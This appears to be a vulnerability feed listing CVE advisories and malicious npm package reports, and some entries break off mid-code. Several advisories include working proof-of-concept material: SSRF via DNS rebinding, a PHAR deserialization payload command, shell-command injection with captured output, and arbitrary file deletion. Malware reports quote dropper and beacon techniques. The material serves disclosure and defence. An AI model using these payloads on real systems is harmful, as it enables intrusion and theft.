| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 2 / 10 CVE-2026-49262 | vor 2 Stunde(n) | |
| ### Summary The administrative proxy route (`cmsproxy`) in Aimeos Pagible CMS is vulnerable to a Server-Side Request Forgery (SSRF) attack via DNS Rebinding. A Time-of-Check to Time-of-Use (TOCTOU) race condition exists between the URL validation phase and the actual HTTP request phase, allowing attackers to access internal network resources and cloud metadata endpoints. ### Details Before executing an HTTP request to fetch external content, the `AdminController::proxy` controller validates the target URL using `\Aimeos\Cms\Utils::isValidUrl($url)`. This function performs a DNS query to verify that the hostname does not resolve to private or reserved IP ranges (e.g., `127.0.0.1`, `10.0.0.0/8`, `169.254.169.254`). If the validation passes, the application proceeds to the "Use" phase, invoking Guzzle/cURL to send the request. However, Guzzle performs a *second* DNS lookup to establish the socket connection. An attacker can exploit this by setting up a malicious DNS server for a domain they control and configuring it with a TTL of 0. 1. During the validation "Check", the DNS server returns a safe, public IP. 2. During the Guzzle "Use", the DNS server returns an internal/private IP. ### POC 1. Attacker registers `rebound.test.com with a custom nameserver. 2. Attacker generates a valid proxy token (assuming basic authenticated access). 3. Attacker requests `/cmsproxy?url=http://rebound.test.com`. 4. `isValidUrl` checks `rebound.test.com`. DNS returns `8.8.8.8`. Validation passes. 5. Guzzle requests `http://rebound.test.com`. DNS returns `169.254.169.254`. 6. The CMS fetches AWS Instance Metadata and returns it to the attacker. | ||
| Risiko ? / 10 MAL-2026-6540 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d5a0d966d760dca0783a79eb150639ccfaf01aac944481e793dbcb7d7669983c) When a consumer imports db-rake and constructs any Model, the package's `resetor()` method silently runs `npm install db-dx-connector` (unpinned, `no-save: true`, `loglevel: silent`, `no-warnings: true`) via oubliette's `syncApi`, then `require`s the freshly-fetched module and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The install primitive is concealed by aliasing the import as `npm` (`const { syncApi: npm } = require("oubliette")`) so call sites read as innocuous `npm().install(...)`, and all output is suppressed. The fetched package is attacker-mutable (latest tag), unrelated to the README's stated purpose (an in-memory mobx-backed database), and undocumented. A commented-out adjacent block in dist/index.js shows the same technique templated against a different target package (`clsx-js` via `execSync('npm uninstall clsx-js && npm install clsx-js', { stdio: 'ignore', windowsHide: true })`), corroborating that the live db-dx-connector path is a deliberately engineered dropper rather than benign auto-recovery. Any code published to db-dx-connector at any future time will be executed in the consumer's process. | ||
| Risiko ? / 10 MAL-2026-6376 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c14057d91b2283926b2b0c1093a66db17c40efbd0ceb21c29b0bdbfa79736da5) Package is published as 'bn-lint' but ships a verbatim copy of MikeMcl/big.js (README, source, version banner v7.0.1, and repo URL all identify as big.js). Both entrypoints, big.js and big.mjs, have been modified at lines 605-606 to inject `const helper = require("ts-bn-lint-helper"); helper.from_str().then(e => e).catch(e => { });` at module top level. Any `require('bn-lint')` or `import` of the package immediately loads and invokes the separately-published, pinned `ts-bn-lint-helper@3.1.19` (declared in package.json line 58). The `.then(e => e).catch(e => { })` wrapping silently swallows both resolution and rejection values, suppressing logs, thrown errors, and rejected promises so the secondary payload's execution is invisible to a developer using what they believe to be a big.js arithmetic library. The combination of impersonated identity, top-level loader injection into an otherwise unrelated arithmetic library, a pinned untrusted second-stage dependency, and deliberate error suppression is consistent with a typosquat-with-payload supply-chain attack rather than a legitimate fork. | ||
| Risiko ? / 10 MAL-2026-5464 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1428486c71a3cd7d89ea90a17631bb5dc0fee7e11a6cbb4d8029a8b25268c7d2) db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the documented entry point), the constructor calls Model.resetor(), which attempts to require('db-dx-connector') and, if missing, shells out via execSync to `npm install db-dx-connector --no-warnings --no-save --no-progress --loglevel silent` with stdio suppressed and windowsHide enabled. It then immediately requires the freshly-fetched package and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The fetched dependency is unpinned (whatever the attacker publishes at the moment of execution will run), --no-save evades the consumer's package.json/lockfile, and output is silenced. This is a runtime-dropper pattern that gives the publisher of db-dx-connector arbitrary code execution inside any process that imports db-xorma and constructs a Model. Additionally, package.json declares a dependency on 'child_process' ^1.0.2 — a known typosquat of the Node core module name, which adds an additional attacker-controlled code path via that package's own install lifecycle. A commented-out variant of the same dropper template targeting 'clsx-js' remains in dist/index.js, indicating the pattern is iterated across package names. | ||
| Risiko ? / 10 MAL-2026-6328 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (66954b91179d60bfbf1c18e8ed8ed9e6b12ab7b13bc6ab2a4174c3bf063c2c0a) On `npm install`, the package's preinstall lifecycle hook runs `node index.js`, which collects host identifiers (`os.userInfo().username`, `process.cwd()`, Node version, `process.platform`, architecture) and POSTs them via `https.request` to the hardcoded endpoint `https://avamnrwqo7.rbmock.dev/api` (an rbmock.dev mock-server host). The preinstall command suppresses all output by redirecting to `/dev/null 2>&1`, hiding the beacon from the installer. The package author is a placeholder identity and the package description is empty, consistent with a beacon/PoC rather than a legitimate library. Installing this package causes silent leakage of installer username, working directory, and host metadata to a third-party endpoint. ## Source: ghsa-malware (9ec22d0ad4c63f404155299bfcc188c3807cc2b1476a70fda3b55280e2f637ba) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6309 | vor 2 Stunde(n) | |
| @nullzero/urlcat (version 1.4.2, published by nullzero-rlnozk@wshu.net) is a trojanized npm package belonging to the wshu.net credential-stealer campaign. The campaign published trojanized look-alike utility packages across 12+ scopes whose publisher accounts all follow the pattern |
||
| Risiko 5 / 10 CVE-2026-48995 | vor 1 Tag(en) | |
| ### Summary A malicious `codeload.github.com` server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile. ### Details The lockfile does not store the hash of the dependencies from https://codeload.github.com This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies. ### PoC ```sh > pnpm -v 10.28.2 ``` Given the following package.json: ```json { "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } } ``` This produces a lockfile like so: ```yaml lockfileVersion: '9.0' settings: autoInstallPeers: true excludeLinksFromLockfile: false importers: .: dependencies: add: specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b packages: add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b} version: 1.0.0 snapshots: add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {} ``` Notice that there is no hash. The `b3eeb9b` is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it). ### Impact Anyone relying on github git dependencies. | ||
| Risiko 5 / 10 CVE-2026-49288 | vor 7 Tag(en) | |
| ### Impact An authenticated Control Panel user could view metadata and content for resources they don't have permission to view, including entries, assets, users, roles, groups, and other configured resources. Depending on the resource, this could expose titles, custom field values, entry content, asset metadata, and the existence of users, roles, and groups. No data could be modified. ### Patches This has been fixed in 5.73.23 and 6.20.0. | ||
| Risiko 7.5 / 10 CVE-2026-49287 | vor 7 Tag(en) | |
| ### Impact The fix for GHSA-4jjr-vmv7-wh4w was incomplete. It addressed the issue in the query builder, but the same protection was not applied to in-memory collection sorting. Manipulating sort parameters could result in the loss of content and assets. This requires a front-end template that passes request input into a tag's sort parameter. It is not exploitable by default — a template would need to be explicitly set up to sort by a visitor-controlled value. ### Patches This has been fixed in 5.73.23 and 6.20.0. | ||
| Risiko 5 / 10 CVE-2026-49359 | vor 7 Tag(en) | |
| ### Summary `pontedilana/php-weasyprint` fetches the content of option values server-side via `file_get_contents()` when the value looks like a URL, without restricting the URL scheme. The `attachment` option of `Pdf` is the reachable sink: any value that passes `isOptionUrl()` (`filter_var(..., FILTER_VALIDATE_URL)`) is downloaded by the PHP process and embedded into the generated PDF. Because `FILTER_VALIDATE_URL` accepts `http`, `https`, `ftp`, `file` and PHP stream wrappers such as `php://`, an attacker who can influence the `attachment` value reaches both a **Server-Side Request Forgery** primitive (e.g. internal HTTP endpoints, cloud metadata) and a **local file disclosure** primitive (`file://`, `php://filter/...`), with the fetched bytes exfiltrated as a PDF attachment. This is the same class of issue KnpLabs/snappy patched for its `xsl-style-sheet` option in [GHSA-c5fp-p67m-gq56](https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56). The library is documented as a one-to-one substitute for KnpLabs/snappy and shares the same code shape. ### Affected versions `pontedilana/php-weasyprint` versions `<= 2.5.1`. Patched in: `2.6.0`. ### Privilege required Any caller that can influence the `attachment` option value handed to `Pdf::generate()` / `Pdf::getOutput()` / `setOption('attachment', ...)`. Typical reach paths: a value sourced from a request parameter, a per-tenant configuration row, or any user-controllable field that flows into the attachment list. ### Vulnerable code `src/Pdf.php` — `isOptionUrl()` accepts any well-formed URL regardless of scheme: ```php protected function isOptionUrl($option): bool { return false !== \filter_var($option, \FILTER_VALIDATE_URL); } ``` `src/Pdf.php` — `handleArrayOptions()` fetches the URL content for the `attachment` option: ```php $fetchUrlContent = 'attachment' === $option && $this->isOptionUrl($item); if ($saveToTempFile || $fetchUrlContent) { $fileContent = $fetchUrlContent ? \file_get_contents($item) : $item; $returnOptions[] = $this->createTemporaryFile($fileContent, $this->optionsWithContentCheck[$option] ?? 'temp'); } ``` `FILTER_VALIDATE_URL` returns truthy for `http://`, `https://`, `ftp://`, `file://localhost/...`, and `php://filter/...`, so `\file_get_contents()` is invoked on attacker-chosen schemes with no allow-list. ### Proof of concept ```php generate('page.html', 'out.pdf', [ 'attachment' => $attachment, ]); // The bytes fetched server-side by file_get_contents() are embedded in out.pdf, // allowing the attacker to read internal HTTP responses or local files. ``` ### Impact - **SSRF**: the server fetches arbitrary `http(s)`/`ftp` URLs, reaching internal-only services, link-local metadata endpoints, etc. - **Local file / wrapper disclosure**: `php://filter/...` (and similar) let an attacker read and exfiltrate local file content inside the generated PDF. - Affects any consumer that does not fully control the `attachment` option value. Note: passing a plain local path (e.g. `/etc/passwd`) or a `file://` path that resolves to an existing file is handled as a normal local attachment and is **not** the issue addressed here — that is the documented local-attachment feature (callers must not pass untrusted input to the option). The fix specifically removes the server-side fetch amplification through non-`http(s)` schemes. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5, Medium) — adjust `PR`/`S`/`A` to the consuming application's reachability (e.g. `PR:N` if the attachment value is reachable from an unauthenticated surface). CWE-918 (Server-Side Request Forgery); secondary CWE-22 (Improper Limitation of a Pathname) for the wrapper-based file read. ### Suggested fix Restrict the schemes the library will fetch to an allow-list (`http`, `https` by default), and treat any other scheme as inline content instead of fetching it: ```php private array $allowedSchemes = ['http', 'https']; // new optional 4th constructor argument: ?array $allowedSchemes = null protected function isOptionUrl($option): bool { $url = \parse_url((string)$option); return false !== $url && isset($url['scheme']) && \in_array(\strtolower($url['scheme']), $this->allowedSchemes, true); } ``` A value with a non-allowed scheme (`file://`, `php://`, `ftp://`, ...) is then never passed to `file_get_contents()`. ### Credit Reported upstream to KnpLabs/snappy ([GHSA-c5fp-p67m-gq56](https://github.com/KnpLabs/snappy/security/advisories/GHSA-c5fp-p67m-gq56)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code. | ||
| Risiko 7.5 / 10 CVE-2026-49286 | vor 7 Tag(en) | |
### Summary
`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:
```php
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
```
PHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.
The same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).
### Affected versions
`pontedilana/php-weasyprint` versions `<= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, "Implement countermeasures for CVE-2023-28115").
Patched in: `2.6.0`.
### Privilege required
A caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8.
### Vulnerable code
`src/AbstractGenerator.php`, `prepareOutput()`:
```php
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
```
`strpos($filename, 'phar://')` matches only the exact lowercase string, while the wrapper resolution is case-insensitive — `PHAR://payload.phar` is not caught.
### Proof of concept
```bash
# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
```
```php
generateFromHtml('POC', 'PHAR://exploit.phar'); // On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created ``` ### Impact - Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment. CWE-502 (Deserialization of Untrusted Data). ### Suggested fix Replace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename: ```php protected const ALLOWED_PROTOCOLS = ['file']; protected function isProtocolAllowed(string $filename): bool { if (false === $parsed = \parse_url($filename)) { throw new \InvalidArgumentException('The filename is not valid.'); } $protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file'; // ...special-case Windows drive letters (C:\...) as 'file'... return \in_array($protocol, self::ALLOWED_PROTOCOLS, true); } ``` `prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached. ### Credit Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code. |
||
| Risiko 7.5 / 10 CVE-2026-49260 | vor 7 Tag(en) | |
| ### Summary `pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg('/usr/local/bin/weasyprint')` returns `'/usr/local/bin/weasyprint'` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\Component\Process\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in [GHSA-vpr4-p6fq-85jc](https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc) (Snappy 1.7.1). ### Affected versions `pontedilana/php-weasyprint` versions `<= 2.5.0` (current `master` tip commit `c2b51fed0bf442c3bf0292b879a09944d436f2a0`, 2026-04-03). Patched in: 2.5.1 ### Privilege required Any caller that can influence the binary string handed to the `Pdf` constructor or to `AbstractGenerator::setBinary()`. Typical reach paths: - An application config file (`config/services.yaml`, `.env`, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override. - An admin UI that lets operators pick between multiple WeasyPrint builds (`weasyprint-v60`, `weasyprint-v66`) for compatibility reasons. - A multi-tenant SaaS that resolves binary location from a tenant config row. Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent `generate()` call shells out the injected payload as the PHP process user. ### Vulnerable code [`src/AbstractGenerator.php#L169-L172`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/AbstractGenerator.php#L169-L172): ```php protected function buildCommand(string $binary, string $input, string $output, array $options = []): string { $escapedBinary = \escapeshellarg($binary); $command = \is_executable($escapedBinary) ? $escapedBinary : $binary; ``` [`src/Pdf.php#L167-L170`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/Pdf.php#L167-L170) overrides `buildCommand` with the same guard: ```php protected function buildCommand(string $binary, string $input, string $output, array $options = []): string { $escapedBinary = \escapeshellarg($binary); $command = \is_executable($escapedBinary) ? $escapedBinary : $binary; ``` `escapeshellarg($binary)` returns a single-quoted string. `is_executable()` then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where `$command` is the raw, unescaped `$binary` string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted. This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of `php-weasyprint` states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable `buildCommand` was copied verbatim and never updated. ### How `$binary` reaches the shell ``` caller code └── new Pdf($binary) // src/Pdf.php constructor └── parent::__construct($binary) └── $this->setBinary($binary) // src/AbstractGenerator.php:276 $this->binary = $binary; // no validation later, at conversion time: $pdf->generate($input, $output, $options) └── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298 └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306 └── ($vulnerable guard, see above) └── returns $command including raw $binary └── $this->executeCommand($command) // src/AbstractGenerator.php:202 └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout) └── /bin/sh -c $command // shell metacharacters interpreted ``` No intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated. ### Proof of concept ```php /dev/null; touch /tmp/php_weasyprint_rce_marker; #'; $pdf = new Pdf($binaryString); $pdf->setTimeout(5); try { $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true); } catch (Throwable $e) { // WeasyPrint binary call fails (its actual exit status is irrelevant); // the injected 'touch' between the ';' separators already ran. } if (file_exists('/tmp/php_weasyprint_rce_marker')) { echo "RCE MARKER PRESENT — injection landed.\n"; } else { echo "RCE marker absent — injection did NOT land.\n"; } ``` The `#` at the end of `$binaryString` comments out the unrelated `'/dev/null' '/tmp/poc_out.pdf'` tail that `buildCommand` appends, keeping the shell line syntactically valid. ### End-to-end reproduction (against pinned Composer install) ```bash # 1. Pin the affected version mkdir poc-weasyprint && cd poc-weasyprint cat > composer.json <<'EOF' { "require": { "pontedilana/php-weasyprint": "2.5.0" } } EOF composer install --no-dev --quiet # 2. Run the PoC php poc.php ``` Captured run output (PHP 8.5.6, macOS arm64): ``` --- buildCommand output (uses reflection to peek) --- weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf' --- end buildCommand --- generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma... --- post-exec check --- RCE MARKER PRESENT — injection landed. stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker ``` Interpretation: | Observation | Expected if guard worked | Actual | |---|---|---| | Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `'weasyprint --version > /dev/null; touch /tmp/...; #'` | Raw, unquoted | | `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present — injected `touch` ran | The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed. Negative control on a benign binary path: ```bash php poc_negctrl.php # --- buildCommand for benign binary --- # /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf' # Benign-path negative control clean: no spurious marker. ``` Even the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true — defensive depth is gone for every deployment, not just the malicious one. Fix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);`) and re-running the same harness: ``` --- patched buildCommand output --- [OK] buildCommand rejected malicious binary at the guard. msg: The binary 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #' is not executable. generate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary 'weasyprint ...' is not executable. PATCH OK — marker absent, injection blocked. ``` The corrected guard runs `is_executable()` on the unescaped `$binary`. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before `Process::fromShellCommandline` is ever called, and the marker file is never created. ### Impact - Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings. - Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project's own README and tests demonstrate the binary path as a configurable constructor argument (`new Pdf('/usr/local/bin/weasyprint')`), and downstream framework integrations (Symfony / Laravel) typically wire it through container config. - Defensive-in-depth regression even for hard-coded paths: a reader of `buildCommand` reasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard. CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) — adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth). ### Suggested fix Mirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors): ```diff --- a/src/AbstractGenerator.php +++ b/src/AbstractGenerator.php @@ protected function buildCommand(string $binary, string $input, string $output, array $options = []): string { - $escapedBinary = \escapeshellarg($binary); - $command = \is_executable($escapedBinary) ? $escapedBinary : $binary; + if (!\is_executable($binary)) { + throw new \RuntimeException(sprintf("The binary '%s' is not executable.", $binary)); + } + $command = \escapeshellarg($binary); ``` Apply the identical change to `src/Pdf.php::buildCommand`. The `is_executable()` check now runs against the raw `$binary` (the only string that can name a real file on disk), and the `escapeshellarg()` call only quotes a string that has already been verified as a real executable path on the local filesystem. A regression test that asserts `buildCommand` throws on a `$binary` string containing `;` / `&&` / `|` should be added so the dead-guard pattern cannot reappear silently. ### Credit Reported by tonghuaroot. | ||
| Risiko 2 / 10 CVE-2026-49358 | vor 7 Tag(en) | |
| ### Summary `AbstractGenerator::$temporaryFiles` is a public array, and `removeTemporaryFiles()` — invoked from `__destruct()` and from a registered shutdown function — calls `unlink()` on every entry without verifying that the path is contained within the temporary folder. Any code holding a reference to a generator instance can push an arbitrary path into the array and have it deleted on script shutdown. This mirrors the KnpLabs/snappy issue [GHSA-87qc-37cw-84h4](https://github.com/KnpLabs/snappy/security/advisories/GHSA-87qc-37cw-84h4), patched in snappy 1.7.2. ### Affected versions `pontedilana/php-weasyprint` versions `<= 2.5.1`. Patched in: `2.6.0`. ### Vulnerable code `src/AbstractGenerator.php`: ```php public array $temporaryFiles = []; // ... public function removeTemporaryFiles(): void { foreach ($this->temporaryFiles as $file) { $this->unlink($file); } } ``` No path-containment check: whatever path is present in `$temporaryFiles` at shutdown is unlinked. ### Proof of concept ```php temporaryFiles[] = '/var/www/html/.env'; // On shutdown, removeTemporaryFiles() deletes /var/www/html/.env. ``` ### Impact - Arbitrary file deletion bound to script shutdown, scoped to the privileges of the PHP process user. - Not directly exploitable on its own (the attacker already needs to influence the property in the same request). The risk is **amplification**: chained with a separate disclosure bug it enables leak-then-delete-to-cover-tracks, and any deserialization/property-oriented gadget that reaches this property becomes a generic file-delete primitive. CWE-73 (External Control of File Name or Path). ### Suggested fix Only delete files that actually live inside the temporary folder, comparing canonical (`realpath`) paths: ```php public function removeTemporaryFiles(): void { $temporaryFolderPath = \realpath($this->getTemporaryFolder()); if (false === $temporaryFolderPath) { return; } $temporaryFolderPath = \rtrim($temporaryFolderPath, \DIRECTORY_SEPARATOR) . \DIRECTORY_SEPARATOR; foreach ($this->temporaryFiles as $file) { $filePath = \realpath($file); if (false === $filePath || 0 !== \strncmp($filePath, $temporaryFolderPath, \strlen($temporaryFolderPath))) { continue; } $this->unlink($file); } } ``` (The trailing directory separator prevents a sibling folder such as `/tmpevil` from matching `/tmp`; `strncmp` is used instead of `str_starts_with` to keep PHP 7.4 compatibility.) ### Credit Reported upstream to KnpLabs/snappy ([GHSA-87qc-37cw-84h4](https://github.com/KnpLabs/snappy/security/advisories/GHSA-87qc-37cw-84h4)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code. | ||
| Risiko 7.5 / 10 CVE-2026-49357 | vor 7 Tag(en) | |
| # Streamable HTTP mode exposes LINE Desktop read/send tools without MCP authentication ## Summary `line-desktop-mcp` supports a `--http-mode` Streamable HTTP transport for use with clients such as n8n. In this mode the server binds to `0.0.0.0` and exposes the MCP `/mcp` endpoint without an MCP-layer authentication check. Any network client that can reach the port can initialize a session, list tools, and call tools that read LINE Desktop chat history or send LINE messages through the already logged-in desktop application. This is High for deployments where the HTTP port is reachable beyond the local host, because the server acts with the user authority of the logged-in LINE Desktop session. It is lower if the listener is strictly firewalled to trusted local clients. ## Affected version Repository: `dtwang/line-desktop-mcp` Current source checked: `fbed0d2d3048e63f48a356a1267ed8ec5e78f3ae` on `main`, committed 2026-05-14. Published npm package checked: `line-desktop-mcp@1.1.1`. ## Source evidence `README.md` documents Streamable HTTP mode: ```text npx line-desktop-mcp@latest --http-mode --port 3000 ``` The same README documents MCP endpoints at `/mcp` and explains that this mode is intended for clients such as n8n. `src/server.js` registers LINE Desktop tools including: - `get_line_chatroom_history_default` - `get_line_chatroom_history_long` - `get_line_chatroom_history_short` - `send_message_manual` - `send_message_auto` Those tool handlers call into the desktop automation layer: `getChatHistory(...)` and `sendChatMessage(...)`. In HTTP mode, `src/server.js` creates an Express app and Streamable HTTP transport, accepts POSTs to `/mcp`, creates sessions, connects the transport to the MCP server, and calls `transport.handleRequest(...)`. I did not find an authentication or bearer-token check before session creation or tool invocation. The listener is explicitly network-bound: ```js app.listen(port, 0.0.0.0, () => { console.error(`LINE Desktop MCP Server running on Streamable HTTP mode`); console.error(` Local: http://127.0.0.1:${port}${endpoint}`); console.error(` Network: http://0.0.0.0:${port}${endpoint}`); }); ``` ## Vulnerability chain 1. A user starts the server with `--http-mode --port 3000`. 2. The server binds on `0.0.0.0:3000`, not only loopback. 3. A network client reaches `/mcp` and sends the normal MCP initialize request. 4. The server creates a Streamable HTTP session without authenticating the caller. 5. The caller can list and invoke LINE Desktop tools. 6. Tool calls execute through the logged-in LINE Desktop application on the user workstation. ## Impact An unauthenticated network client can read LINE chat history through the MCP history tools and can send LINE messages through the send-message tools, including `send_message_auto` when the tool call requests immediate sending. The attacker does not need LINE credentials or a LINE API token; they only need network reachability to the MCP HTTP port. The practical impact is disclosure of private LINE conversations and unauthorized messages sent as the logged-in desktop user. ## Suggested fix Require authentication before accepting Streamable HTTP MCP sessions or tool calls. For example: - require a bearer token or local secret when `--http-mode` is used; - bind HTTP mode to `127.0.0.1` by default unless the operator explicitly opts into network exposure; - refuse to start `0.0.0.0` HTTP mode without authentication; - document that `host.docker.internal` / n8n setups must still authenticate to the MCP server. A defense-in-depth improvement would also keep `send_message_auto` disabled unless explicitly enabled by a server-side flag, because it converts MCP tool access into immediate message sending as the desktop user. | ||
| Risiko 7.5 / 10 CVE-2026-47074 | vor 29 Tag(en) | |
| ### Summary
`hackney_h3:await_response_loop/6` in `src/hackney_h3.erl` accumulates the HTTP/3 response body in memory without any size cap. The `after Timeout` clause is a per-message inactivity timer, not a wall-clock deadline: every received `stream_data` chunk, housekeeping `select` message, or `settings` frame resets it. A malicious HTTP/3 server that drips one small chunk every `Timeout - 1` ms with `Fin = false` and never terminates the stream keeps the loop alive indefinitely while the accumulation buffer grows without bound, eventually exhausting the BEAM process heap.
### Details
In `src/hackney_h3.erl`, `await_response_loop/6` (line 430) builds the body with:
```erlang
NewBody = < |
||
| Risiko 7.5 / 10 CVE-2026-47073 | vor 32 Tag(en) | |
| ### Summary
The WebSocket client in `src/hackney_ws.erl` imposes no upper bound on memory consumption across three distinct code paths. In each case, an attacker-controlled WebSocket server can exhaust the connecting process's memory without any authentication or special client configuration.
### Details
**1. Handshake response buffer (`read_handshake_response/3`)**
The function accumulates received bytes into a growing buffer waiting for `\r\n\r\n`. The per-receive timeout resets on every chunk, so a server that trickles bytes indefinitely without completing the HTTP upgrade response grows the buffer until OOM. No total-size cap exists.
**2. Frame payload accumulation (`parse_payload/9`, `parse_active_payload/8`)**
`parse_payload/9` (lines 816–817 and 825–826) appends each received chunk into a `Buffer` binary via `< |
||
| Risiko 5 / 10 CVE-2026-47072 | vor 32 Tag(en) | |
| ### Summary
CRLF injection in hackney's WebSocket upgrade request builder (`src/hackney_ws.erl`). `init/1` copies the `host`, `path`, `headers`, and `protocols` options from the caller-supplied opts map verbatim into `#ws_data{}`, and `do_handshake/1` splices them directly into the raw HTTP/1.1 upgrade request by binary concatenation with no `\r\n` or `\0` stripping. A caller that passes any of these fields from untrusted input can inject arbitrary header lines into the outbound upgrade request.
### Details
`do_handshake/1` builds the upgrade request at several concatenation sites:
- **Host header** (lines 583–590): the host binary is written straight into `Host: |
||
